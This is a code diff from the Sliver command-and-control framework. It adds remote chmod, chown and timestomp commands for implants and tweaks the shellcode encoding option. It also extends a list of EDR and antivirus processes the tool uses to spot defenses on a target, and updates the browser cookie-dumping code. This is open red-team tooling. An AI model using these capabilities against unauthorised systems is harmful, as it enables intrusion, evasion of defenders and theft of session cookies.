a.String("path", "path to the file to remove")
|
||||
a.String("uid", "User, e.g. root")
|
||||
a.String("gid", "Group, e.g. root")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
filesystem.ChownCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ChtimesStr,
|
||||
Help: "Change access and modification times on a file (timestomp)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ChtimesStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the file to remove")
|
||||
a.String("atime", "Last accessed time in DateTime format, i.e. 2006-01-02 15:04:05")
|
||||
a.String("mtime", "Last modified time in DateTime format, i.e. 2006-01-02 15:04:05")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
filesystem.ChtimesCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Websites ] ---------------------------------------------
|
||||
|
||||
websitesCmd := &grumble.Command{
|
||||
|
||||
@@ -66,6 +66,11 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
amsiBypass := ctx.Flags.Bool("amsi-bypass")
|
||||
|
||||
if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
|
||||
con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
|
||||
return
|
||||
}
|
||||
|
||||
assemblyArgsStr := strings.Join(assemblyArgs, " ")
|
||||
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
|
||||
if len(assemblyArgsStr) > 256 && !inProcess {
|
||||
|
||||
@@ -69,10 +69,13 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
|
||||
return
|
||||
}
|
||||
kerberosKeytab, err := os.ReadFile(kerberosKeytabFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
kerberosKeytab := []byte{}
|
||||
if kerberosKeytabFile != "" {
|
||||
kerberosKeytab, err = os.ReadFile(kerberosKeytabFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ChmodCmd - Change the permissions of a file on the remote file system
|
||||
func ChmodCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
fileMode := ctx.Args.String("mode")
|
||||
|
||||
if fileMode == "" {
|
||||
con.PrintErrorf("Missing parameter: file permissions (mode)\n")
|
||||
return
|
||||
}
|
||||
|
||||
chmod, err := con.Rpc.Chmod(context.Background(), &sliverpb.ChmodReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
FileMode: fileMode,
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if chmod.Response != nil && chmod.Response.Async {
|
||||
con.AddBeaconCallback(chmod.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, chmod)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintChmod(chmod, con)
|
||||
})
|
||||
con.PrintAsyncResponse(chmod.Response)
|
||||
} else {
|
||||
PrintChmod(chmod, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintChmod - Print the chmod response
|
||||
func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverConsoleClient) {
|
||||
if chmod.Response != nil && chmod.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", chmod.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", chmod.Path)
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ChownCmd - Change the owner of a file on the remote file system
|
||||
func ChownCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
uid := ctx.Args.String("uid")
|
||||
|
||||
if uid == "" {
|
||||
con.PrintErrorf("Missing parameter: user id\n")
|
||||
return
|
||||
}
|
||||
|
||||
gid := ctx.Args.String("gid")
|
||||
|
||||
if gid == "" {
|
||||
con.PrintErrorf("Missing parameter: group id\n")
|
||||
return
|
||||
}
|
||||
|
||||
chown, err := con.Rpc.Chown(context.Background(), &sliverpb.ChownReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
Uid: uid,
|
||||
Gid: gid,
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if chown.Response != nil && chown.Response.Async {
|
||||
con.AddBeaconCallback(chown.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, chown)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintChown(chown, con)
|
||||
})
|
||||
con.PrintAsyncResponse(chown.Response)
|
||||
} else {
|
||||
PrintChown(chown, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintChown - Print the chown response
|
||||
func PrintChown(chown *sliverpb.Chown, con *console.SliverConsoleClient) {
|
||||
if chown.Response != nil && chown.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", chown.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", chown.Path)
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ChtimesCmd - Change the access and modified time of a file on the remote file system
|
||||
func ChtimesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
// DateTime layout (https://pkg.go.dev/time)
|
||||
layout := "2006-01-02 15:04:05"
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
atime := ctx.Args.String("atime")
|
||||
|
||||
if atime == "" {
|
||||
con.PrintErrorf("Missing parameter: Last accessed time id\n")
|
||||
return
|
||||
}
|
||||
|
||||
t_a, err := time.Parse(layout, atime)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
unixAtime := t_a.Unix()
|
||||
|
||||
mtime := ctx.Args.String("mtime")
|
||||
|
||||
if mtime == "" {
|
||||
con.PrintErrorf("Missing parameter: Last modified time id\n")
|
||||
return
|
||||
}
|
||||
|
||||
t_b, err := time.Parse(layout, mtime)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
unixMtime := t_b.Unix()
|
||||
|
||||
chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
ATime: unixAtime,
|
||||
MTime: unixMtime,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if chtimes.Response != nil && chtimes.Response.Async {
|
||||
con.AddBeaconCallback(chtimes.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, chtimes)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintChtimes(chtimes, con)
|
||||
})
|
||||
con.PrintAsyncResponse(chtimes.Response)
|
||||
} else {
|
||||
PrintChtimes(chtimes, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintChtimes - Print the Chtimes response
|
||||
func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverConsoleClient) {
|
||||
if chtimes.Response != nil && chtimes.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", chtimes.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", chtimes.Path)
|
||||
}
|
||||
@@ -149,13 +149,22 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleC
|
||||
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
|
||||
modTime = modTime.In(implantLocation)
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else if fileInfo.Link != "" {
|
||||
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
owner := ""
|
||||
if fileInfo.Uid != "" {
|
||||
owner = fileInfo.Uid
|
||||
}
|
||||
if fileInfo.Gid != "" {
|
||||
owner = owner + ":" + fileInfo.Gid + "\t"
|
||||
}
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else if fileInfo.Link != "" {
|
||||
fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
}
|
||||
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf("%s\n", outputBuf.String())
|
||||
|
||||
@@ -32,7 +32,7 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, save, con)
|
||||
compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
|
||||
} else {
|
||||
externalBuild(config, save, con)
|
||||
}
|
||||
|
||||
@@ -99,7 +99,7 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, save, con)
|
||||
compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
|
||||
} else {
|
||||
_, err := externalBuild(config, save, con)
|
||||
if err != nil {
|
||||
@@ -346,7 +346,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
C2: c2s,
|
||||
CanaryDomains: canaryDomains,
|
||||
TemplateName: ctx.Flags.String("template"),
|
||||
DisableSGN: ctx.Flags.Bool("disable-sgn"),
|
||||
|
||||
WGPeerTunIP: tunIP.String(),
|
||||
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
|
||||
@@ -489,10 +488,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
|
||||
if cmp := strings.ToLower(arg); strings.HasPrefix(cmp, "http://") || strings.HasPrefix(cmp, "https://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -756,7 +754,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
@@ -792,7 +790,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
|
||||
fileData := generated.File.Data
|
||||
if config.IsShellcode {
|
||||
if config.DisableSGN {
|
||||
if disableSGN {
|
||||
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
|
||||
} else {
|
||||
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
|
||||
|
||||
@@ -17,7 +17,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
|
||||
return data, err
|
||||
}
|
||||
|
||||
implantName := buildImplantName(profile.GetConfig().GetName())
|
||||
implantName := buildImplantName(profile.GetConfig().GetFileName())
|
||||
_, ok := builds.GetConfigs()[implantName]
|
||||
if implantName == "" || !ok {
|
||||
// no built implant found for profile, generate a new one
|
||||
@@ -35,7 +35,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
|
||||
return data, err
|
||||
}
|
||||
data = generated.GetFile().GetData()
|
||||
profile.Config.Name = buildImplantName(generated.GetFile().GetName())
|
||||
profile.Config.FileName = generated.File.Name
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error updating implant profile\n")
|
||||
@@ -45,7 +45,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
|
||||
// Found a build, reuse that one
|
||||
con.PrintInfof("Sliver name for profile: %s\n", implantName)
|
||||
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: profile.GetConfig().GetName(),
|
||||
ImplantName: implantName,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
|
||||
@@ -41,7 +41,7 @@ func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
profile := GetImplantProfileByName(name, con)
|
||||
if profile != nil {
|
||||
implantFile, err := compile(profile.Config, save, con)
|
||||
implantFile, err := compile(profile.Config, ctx.Flags.Bool("disable-sgn"), save, con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -46,6 +46,12 @@ var (
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
|
||||
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
|
||||
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
|
||||
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
||||
"HealthService.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||
"github.com/bishopfox/sliver/client/command/network"
|
||||
"github.com/bishopfox/sliver/client/command/privilege"
|
||||
@@ -212,9 +213,23 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
}
|
||||
environment.PrintUnsetEnvInfo(unsetEnvReq.Name, unsetEnv, con)
|
||||
|
||||
// ---------------------
|
||||
// Call extension commands
|
||||
// ---------------------
|
||||
case sliverpb.MsgCallExtensionReq:
|
||||
callExtension := &sliverpb.CallExtension{}
|
||||
err := proto.Unmarshal(task.Response, callExtension)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
extensions.PrintExtOutput("", "", callExtension, con)
|
||||
|
||||
// ---------------------
|
||||
// Exec commands
|
||||
// ---------------------
|
||||
case sliverpb.MsgInvokeExecuteAssemblyReq:
|
||||
fallthrough
|
||||
case sliverpb.MsgInvokeInProcExecuteAssemblyReq:
|
||||
fallthrough
|
||||
case sliverpb.MsgExecuteAssemblyReq:
|
||||
@@ -235,6 +250,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
Flags: grumble.FlagMap{
|
||||
"save": &grumble.FlagMapItem{Value: false, IsDefault: true},
|
||||
"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
|
||||
"name": &grumble.FlagMapItem{Value: "", IsDefault: true},
|
||||
},
|
||||
}
|
||||
exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
|
||||
@@ -408,6 +424,33 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
}
|
||||
filesystem.PrintUpload(upload, con)
|
||||
|
||||
case sliverpb.MsgChmodReq:
|
||||
chmod := &sliverpb.Chmod{}
|
||||
err := proto.Unmarshal(task.Response, chmod)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
filesystem.PrintChmod(chmod, con)
|
||||
|
||||
case sliverpb.MsgChownReq:
|
||||
chown := &sliverpb.Chown{}
|
||||
err := proto.Unmarshal(task.Response, chown)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
filesystem.PrintChown(chown, con)
|
||||
|
||||
case sliverpb.MsgChtimesReq:
|
||||
chtimes := &sliverpb.Chtimes{}
|
||||
err := proto.Unmarshal(task.Response, chtimes)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
filesystem.PrintChtimes(chtimes, con)
|
||||
|
||||
// ---------------------
|
||||
// Network commands
|
||||
// ---------------------
|
||||
@@ -550,6 +593,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
"overflow": &grumble.FlagMapItem{Value: false},
|
||||
"skip-pages": &grumble.FlagMapItem{Value: 0},
|
||||
"print-cmdline": &grumble.FlagMapItem{Value: true},
|
||||
"tree": &grumble.FlagMapItem{Value: false},
|
||||
},
|
||||
}
|
||||
processes.PrintPS(beacon.OS, ps, true, ctx, con)
|
||||
|
||||
@@ -187,6 +187,9 @@ const (
|
||||
UploadStr = "upload"
|
||||
IfconfigStr = "ifconfig"
|
||||
NetstatStr = "netstat"
|
||||
ChmodStr = "chmod"
|
||||
ChownStr = "chown"
|
||||
ChtimesStr = "chtimes"
|
||||
|
||||
ProcdumpStr = "procdump"
|
||||
ImpersonateStr = "impersonate"
|
||||
|
||||
@@ -22,8 +22,7 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
@@ -33,6 +32,7 @@ import (
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/network"
|
||||
"github.com/chromedp/cdproto/page"
|
||||
"github.com/chromedp/cdproto/storage"
|
||||
"github.com/chromedp/cdproto/target"
|
||||
"github.com/chromedp/chromedp"
|
||||
)
|
||||
@@ -59,7 +59,7 @@ const (
|
||||
|
||||
var (
|
||||
// ErrTargetNotFound - Returned when a target cannot be found
|
||||
ErrTargetNotFound = errors.New("Target not found")
|
||||
ErrTargetNotFound = errors.New("target not found")
|
||||
)
|
||||
|
||||
// ManifestBackground - An extension manifest file
|
||||
@@ -129,7 +129,7 @@ func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
|
||||
return nil
|
||||
}
|
||||
for _, targetInfo := range targets {
|
||||
if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
|
||||
if targetInfo.TargetID.String() == targetID {
|
||||
return targetInfo
|
||||
}
|
||||
}
|
||||
@@ -227,9 +227,9 @@ func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, errors.New("Non-200 status code")
|
||||
return nil, errors.New("non-200 status code")
|
||||
}
|
||||
data, err := ioutil.ReadAll(resp.Body)
|
||||
data, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -245,9 +245,9 @@ func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, errors.New("Non-200 status code")
|
||||
return nil, errors.New("non-200 status code")
|
||||
}
|
||||
data, err := ioutil.ReadAll(resp.Body)
|
||||
data, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -276,13 +276,10 @@ func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Coo
|
||||
dumpCookieTasks := chromedp.Tasks{
|
||||
// read network values
|
||||
chromedp.ActionFunc(func(ctx context.Context) error {
|
||||
cookies, err = network.GetAllCookies().Do(ctx)
|
||||
cookies, err = storage.GetCookies().Do(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// for i, cookie := range cookies {
|
||||
// log.Printf("chrome cookie %d: %+v", i, cookie)
|
||||
// }
|
||||
return nil
|
||||
}),
|
||||
}
|
||||
|
||||
@@ -37,3 +37,5 @@ gem "wdm", "~> 0.1.0", :install_if => Gem.win_platform?
|
||||
# kramdown v1, comment out this line.
|
||||
gem "kramdown-parser-gfm"
|
||||
|
||||
|
||||
gem "webrick", "~> 1.8"
|
||||
+43
-61
@@ -1,62 +1,43 @@
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activesupport (6.0.4.6)
|
||||
activesupport (6.0.6.1)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 0.7, < 2)
|
||||
minitest (~> 5.1)
|
||||
tzinfo (~> 1.1)
|
||||
zeitwerk (~> 2.2, >= 2.2.2)
|
||||
addressable (2.8.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
addressable (2.8.1)
|
||||
public_suffix (>= 2.0.2, < 6.0)
|
||||
coffee-script (2.4.1)
|
||||
coffee-script-source
|
||||
execjs
|
||||
coffee-script-source (1.11.1)
|
||||
colorator (1.1.0)
|
||||
commonmarker (0.23.6)
|
||||
concurrent-ruby (1.1.9)
|
||||
commonmarker (0.23.8)
|
||||
concurrent-ruby (1.2.0)
|
||||
dnsruby (1.61.9)
|
||||
simpleidn (~> 0.1)
|
||||
em-websocket (0.5.3)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0)
|
||||
ethon (0.15.0)
|
||||
ethon (0.16.0)
|
||||
ffi (>= 1.15.0)
|
||||
eventmachine (1.2.7)
|
||||
execjs (2.8.1)
|
||||
faraday (1.10.0)
|
||||
faraday-em_http (~> 1.0)
|
||||
faraday-em_synchrony (~> 1.0)
|
||||
faraday-excon (~> 1.1)
|
||||
faraday-httpclient (~> 1.0)
|
||||
faraday-multipart (~> 1.0)
|
||||
faraday-net_http (~> 1.0)
|
||||
faraday-net_http_persistent (~> 1.0)
|
||||
faraday-patron (~> 1.0)
|
||||
faraday-rack (~> 1.0)
|
||||
faraday-retry (~> 1.0)
|
||||
faraday (2.7.4)
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-em_http (1.0.0)
|
||||
faraday-em_synchrony (1.0.0)
|
||||
faraday-excon (1.1.0)
|
||||
faraday-httpclient (1.0.1)
|
||||
faraday-multipart (1.0.3)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
faraday-net_http (1.0.1)
|
||||
faraday-net_http_persistent (1.2.0)
|
||||
faraday-patron (1.0.0)
|
||||
faraday-rack (1.0.0)
|
||||
faraday-retry (1.0.3)
|
||||
faraday-net_http (3.0.2)
|
||||
ffi (1.15.5)
|
||||
forwardable-extended (2.6.0)
|
||||
gemoji (3.0.1)
|
||||
github-pages (225)
|
||||
github-pages (228)
|
||||
github-pages-health-check (= 1.17.9)
|
||||
jekyll (= 3.9.0)
|
||||
jekyll (= 3.9.3)
|
||||
jekyll-avatar (= 0.7.0)
|
||||
jekyll-coffeescript (= 1.1.1)
|
||||
jekyll-commonmark-ghpages (= 0.2.0)
|
||||
jekyll-commonmark-ghpages (= 0.4.0)
|
||||
jekyll-default-layout (= 0.1.4)
|
||||
jekyll-feed (= 0.15.1)
|
||||
jekyll-gist (= 1.5.0)
